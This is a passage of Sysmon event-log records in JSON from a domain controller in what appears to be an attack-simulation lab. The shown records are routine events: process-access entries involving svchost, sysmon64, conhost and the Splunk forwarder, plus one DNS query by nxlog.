11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1799,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1800,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1801,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1802,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1803,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1804,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1805,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1806,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.672\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.672","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":1807,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.512\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010320F0200}\r\nProcessId: 2504\r\nQueryName: win-dc-9849183\r\nQueryStatus: 0\r\nQueryResults: 10.0.1.14;\r\nImage: C:\\Program Files (x86)\\nxlog\\nxlog.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.512","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010320F0200}","QueryName":"win-dc-9849183","QueryStatus":"0","QueryResults":"10.0.1.14;","Image":"C:\\Program Files (x86)\\nxlog\\nxlog.exe","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 